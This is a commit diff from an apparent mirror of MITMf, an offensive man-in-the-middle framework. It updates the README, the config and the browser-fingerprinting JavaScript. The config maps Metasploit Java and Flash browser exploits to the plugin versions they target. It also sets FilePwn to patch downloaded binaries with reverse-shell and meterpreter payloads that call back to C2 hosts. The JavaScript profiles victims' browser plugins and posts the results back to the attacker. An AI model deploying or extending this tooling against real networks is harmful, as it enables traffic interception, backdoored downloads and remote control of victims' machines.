mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
This commit refactors ARP and DHCP poisoning:
DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
parent
5e2f30fb89
commit
ba14ed8687
35 changed files with 1082 additions and 676 deletions
18
CONTRIBUTING.md
Normal file
18
CONTRIBUTING.md
Normal file
|
@ -0,0 +1,18 @@
|
|||
Contributing
|
||||
============
|
||||
Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome!
|
||||
|
||||
Submitting Issues
|
||||
=================
|
||||
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
|
||||
|
||||
**Only submit issues if you find a bug in the latest version of the framework.**
|
||||
|
||||
When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
|
||||
|
||||
- Full command string you used
|
||||
- OS you're using
|
||||
- Full error traceback, if any
|
||||
- A packet capture if relevant
|
||||
|
||||
Also, remember that Github markdown is your friend!
|
30
README.md
30
README.md
|
@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r
|
|||
IRC on Freenode: #MITMf
|
||||
Email: byt3bl33d3r@gmail.com
|
||||
|
||||
**Update: Installation steps have changed! Please read the new [instructions](#installation)**
|
||||
|
||||
**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).**
|
||||
**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).**
|
||||
|
||||
Available plugins
|
||||
=================
|
||||
- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application
|
||||
- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients
|
||||
- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser
|
||||
- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner
|
||||
|
@ -84,33 +83,20 @@ Installation
|
|||
If you're rocking Kali and want the latest version:
|
||||
- Clone this repository
|
||||
- Run the ```kali_setup.sh``` script
|
||||
**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**
|
||||
|
||||
If you're rocking any other Linux distro:
|
||||
- Clone this repository
|
||||
- Run the ```other_setup.sh``` script
|
||||
- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
|
||||
|
||||
Submitting Issues
|
||||
=================
|
||||
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
|
||||
|
||||
**Only submit issues if you find a bug in the latest version of the framework.**
|
||||
|
||||
When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
|
||||
|
||||
- Full command string you used
|
||||
- OS you're using
|
||||
- Full error traceback, if any
|
||||
|
||||
Also, remember that Github markdown is your friend!
|
||||
- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
|
||||
|
||||
FAQ
|
||||
===
|
||||
- **Is Windows supported?**
|
||||
- No
|
||||
- No, it will never be supported
|
||||
|
||||
- **Is OSX supported?**
|
||||
- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX.
|
||||
- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
|
||||
|
||||
- **I can't install package X because of an error!**
|
||||
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
|
||||
|
@ -121,5 +107,5 @@ FAQ
|
|||
- **I get an ImportError when launching MITMf!**
|
||||
- Please read the [installation](#installation) guide.
|
||||
|
||||
- **Dude, no documentation/video tutorials?**
|
||||
- Currently no but once the framework hits 1.0, I'll probably start writing/making some.
|
||||
- **Dude, no documentation?**
|
||||
- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki
|
|
@ -12,12 +12,22 @@
|
|||
pass = beef
|
||||
|
||||
[[Metasploit]]
|
||||
|
||||
msfport = 8080 # Port to start Metasploit's webserver on that will host exploits
|
||||
rpcip = 127.0.0.1
|
||||
rpcport = 55552
|
||||
rpcpass = abc123
|
||||
|
||||
[[MITMf-API]]
|
||||
host = 127.0.0.1
|
||||
port = 9999
|
||||
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
# Note: changing the port number might break certain plugins
|
||||
|
||||
port = 80
|
||||
|
||||
[[SMB]]
|
||||
|
||||
#
|
||||
|
@ -57,25 +67,6 @@
|
|||
# ini = /tmp/desktop.ini
|
||||
# bat = /tmp/evil.bat
|
||||
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
#
|
||||
|
||||
port = 80
|
||||
|
||||
#[[[Paths]]]
|
||||
|
||||
#
|
||||
# Here you can define the content to deliver
|
||||
#
|
||||
|
||||
# Format is urlpath = filesystem path (urlpath can be a regular expression)
|
||||
|
||||
# ".*" = "/var/www"
|
||||
# "/test" = "/var/www2"
|
||||
|
||||
[[DNS]]
|
||||
|
||||
#
|
||||
|
@ -93,7 +84,7 @@
|
|||
nameservers = 8.8.8.8
|
||||
|
||||
[[[A]]] # Queries for IPv4 address records
|
||||
*.thesprawls.org=192.168.178.27
|
||||
*.thesprawl.org=192.168.178.27
|
||||
|
||||
[[[AAAA]]] # Queries for IPv6 address records
|
||||
*.thesprawl.org=2001:db8::1
|
||||
|
@ -135,9 +126,8 @@
|
|||
[Spoof]
|
||||
|
||||
[[DHCP]]
|
||||
ip_pool = 192.168.2.10-50
|
||||
ip_pool = 192.168.1.10-50
|
||||
subnet = 255.255.255.0
|
||||
dns_server = 192.168.2.20 #optional
|
||||
|
||||
[Replace]
|
||||
|
||||
|
@ -306,81 +296,100 @@
|
|||
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||
#
|
||||
|
||||
[[multi/browser/java_rhino]] #Exploit's MSF path
|
||||
msfport = 8080 # Port to start Metasploit's webserver which will host the exploits
|
||||
|
||||
[[exploits]]
|
||||
|
||||
Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
|
||||
OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
|
||||
[[[multi/browser/java_rhino]]] #Exploit's MSF path
|
||||
|
||||
Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
|
||||
OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
|
||||
|
||||
Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
|
||||
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
|
||||
Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6)
|
||||
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
|
||||
|
||||
#An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
|
||||
PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
|
||||
#An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
|
||||
PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
|
||||
|
||||
[[multi/browser/java_atomicreferencearray]]
|
||||
[[[multi/browser/java_atomicreferencearray]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
|
||||
|
||||
[[multi/browser/java_jre17_jmxbean_2]]
|
||||
[[[multi/browser/java_jre17_jmxbean_2]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[multi/browser/java_jre17_reflection_types]]
|
||||
[[[multi/browser/java_jre17_reflection_types]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[multi/browser/java_verifier_field_access]]
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[[multi/browser/java_verifier_field_access]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
|
||||
|
||||
[[multi/browser/java_jre17_provider_skeleton]]
|
||||
[[[multi/browser/java_jre17_provider_skeleton]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[[exploit/windows/browser/adobe_flash_pcre]]]
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_pcre]]
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
|
||||
[[[exploit/windows/browser/adobe_flash_net_connection_confusion]]]
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_net_connection_confusion]]
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
|
||||
[[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]]
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
||||
[[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204
|
||||
|
||||
[[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194
|
||||
|
||||
[FilePwn]
|
||||
|
||||
|
@ -419,6 +428,28 @@
|
|||
#
|
||||
# Tested on Kali-Linux.
|
||||
|
||||
[[hosts]]
|
||||
#whitelist host/IP - patch these only.
|
||||
#ALL is everything, use the blacklist to leave certain hosts/IPs out
|
||||
|
||||
whitelist = ALL
|
||||
|
||||
#Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both.
|
||||
|
||||
blacklist = , # a comma is null do not leave blank
|
||||
|
||||
|
||||
[[keywords]]
|
||||
#These checks look at the path of a url for keywords
|
||||
|
||||
whitelist = ALL
|
||||
|
||||
#For blacklist note binaries that you do not want to touch at all
|
||||
|
||||
# Also applied in zip files
|
||||
|
||||
blacklist = Tcpview.exe, skype.exe, .dll
|
||||
|
||||
[[ZIP]]
|
||||
# patchCount is the max number of files to patch in a zip file
|
||||
# After the max is reached it will bypass the rest of the files
|
||||
|
@ -457,63 +488,77 @@
|
|||
|
||||
CompressedFiles = True #True/False
|
||||
|
||||
[[[[LinuxIntelx86]]]]
|
||||
SHELL = reverse_shell_tcp # This is the BDF syntax
|
||||
HOST = 192.168.1.168 # The C2
|
||||
PORT = 8888
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
|
||||
|
||||
[[[[LinuxIntelx64]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 9999
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
[[[[LinuxIntelx86]]]]
|
||||
SHELL = reverse_shell_tcp # This is the BDF syntax
|
||||
HOST = 192.168.1.168 # The C2
|
||||
PORT = 8888
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
|
||||
|
||||
[[[[LinuxIntelx64]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 9999
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
|
||||
[[[[WindowsIntelx86]]]]
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
# PATCH_METHOD = automatic
|
||||
PATCH_METHOD =
|
||||
HOST = 192.168.10.11
|
||||
PORT = 8443
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = True
|
||||
PATCH_DLL = False
|
||||
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
||||
[[[[WindowsIntelx86]]]]
|
||||
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
PATCH_METHOD = automatic
|
||||
HOST = 192.168.1.88
|
||||
PORT = 8444
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = False
|
||||
PATCH_DLL = True
|
||||
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
||||
|
||||
[[[[WindowsIntelx64]]]]
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
# PATCH_METHOD = automatic
|
||||
PATCH_METHOD =
|
||||
HOST = 192.168.1.16
|
||||
PORT = 8088
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = True
|
||||
PATCH_DLL = False
|
||||
MSFPAYLOAD = windows/x64/shell/reverse_tcp
|
||||
[[[[WindowsIntelx64]]]]
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
PATCH_METHOD = automatic
|
||||
HOST = 192.168.1.16
|
||||
PORT = 8088
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = True
|
||||
PATCH_DLL = False
|
||||
MSFPAYLOAD = windows/x64/shell/reverse_tcp
|
||||
|
||||
[[[[MachoIntelx86]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 4444
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
[[[[MachoIntelx86]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 4444
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
|
||||
[[[[MachoIntelx64]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 5555
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
[[[[MachoIntelx64]]]]
|
||||
SHELL = reverse_shell_tcp
|
||||
HOST = 192.168.1.16
|
||||
PORT = 5555
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
|
||||
[EvilGrade]
|
||||
# Call out the difference for targets here as they differ from ALL
|
||||
# These settings override the ALL settings
|
||||
|
||||
[[[sysinternals.com]]]
|
||||
LinuxType = None
|
||||
WindowsType = x86
|
||||
CompressedFiles = False
|
||||
|
||||
#inherits WindowsIntelx32 from ALL
|
||||
[[[[WindowsIntelx86]]]]
|
||||
PATCH_DLL = False
|
||||
ZERO_CERT = True
|
||||
|
||||
[[NotePad++]]
|
||||
host = 'notepad-plus-plus.org'
|
||||
url = '/update/getDownloadUrl.php?version='
|
||||
data = r'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>%RAND%</Version><Location>http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe</Location></GUP>'
|
||||
[[[sourceforge.org]]]
|
||||
WindowsType = x64
|
||||
CompressedFiles = False
|
||||
|
||||
[[[[WindowsIntelx64]]]]
|
||||
PATCH_DLL = False
|
||||
|
||||
[[[[WindowsIntelx86]]]]
|
||||
PATCH_DLL = False
|
||||
|
|
|
@ -111,13 +111,10 @@ class ClientRequest(Request):
|
|||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
elif self.urlMonitor.isSecureLink(client, url):
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
|
||||
else:
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
|
|
|
@ -1260,6 +1260,12 @@ var PD = PluginDetect;
|
|||
//Set delimiter
|
||||
PD.getVersion(".");
|
||||
|
||||
//Get client Info
|
||||
data = os_detect.getVersion()
|
||||
|
||||
//Check to see if the UA is a lying bastard
|
||||
data['ua_is_lying'] = os_detect.ua_is_lying
|
||||
|
||||
//Try to get plugin list
|
||||
var pluginList = [];
|
||||
if (navigator.plugins) {
|
||||
|
@ -1270,30 +1276,24 @@ if (navigator.plugins) {
|
|||
}
|
||||
|
||||
if (pluginList.length > 0){
|
||||
data['pluginlist'] = pluginList;
|
||||
data['plugin_list'] = pluginList;
|
||||
}
|
||||
|
||||
//Check if java plugin is installed and/or enabled
|
||||
var javaEnabled = PD.isMinVersion('java');
|
||||
data['java'] = javaEnabled;
|
||||
//var javaEnabled = PD.isMinVersion('java');
|
||||
//data['java'] = javaEnabled;
|
||||
|
||||
//Get exact java plugin version
|
||||
var javaVersionString = PD.getVersion('java');
|
||||
data['java_v'] = javaVersionString;
|
||||
data['java'] = javaVersionString;
|
||||
|
||||
//Check if flash plugin is installed and/or enabled
|
||||
var flashEnabled = PD.isMinVersion('flash');
|
||||
data['flash'] = flashEnabled;
|
||||
//var flashEnabled = PD.isMinVersion('flash');
|
||||
//data['flash'] = flashEnabled;
|
||||
|
||||
//Get exact flash plugin version
|
||||
var flashVersionString = PD.getVersion('flash');
|
||||
data['flash_v'] = flashVersionString;
|
||||
|
||||
//Get client Info
|
||||
data['client_info'] = os_detect.getVersion()
|
||||
|
||||
//Check to see if the UA is a lying bastard
|
||||
data['client_info']['ua_is_lying'] = os_detect.ua_is_lying
|
||||
data['flash'] = flashVersionString;
|
||||
|
||||
xhr.open("POST", "clientprfl", true);
|
||||
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
|
||||
|
|
|
@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
|
|||
};
|
||||
}
|
||||
_html2canvas.Parse = function (images, options) {
|
||||
window.scroll(0,0);
|
||||
//window.scroll(0,0);
|
||||
|
||||
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
||||
numDraws = 0,
|
||||
|
@ -2871,8 +2871,10 @@ function grab() {
|
|||
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
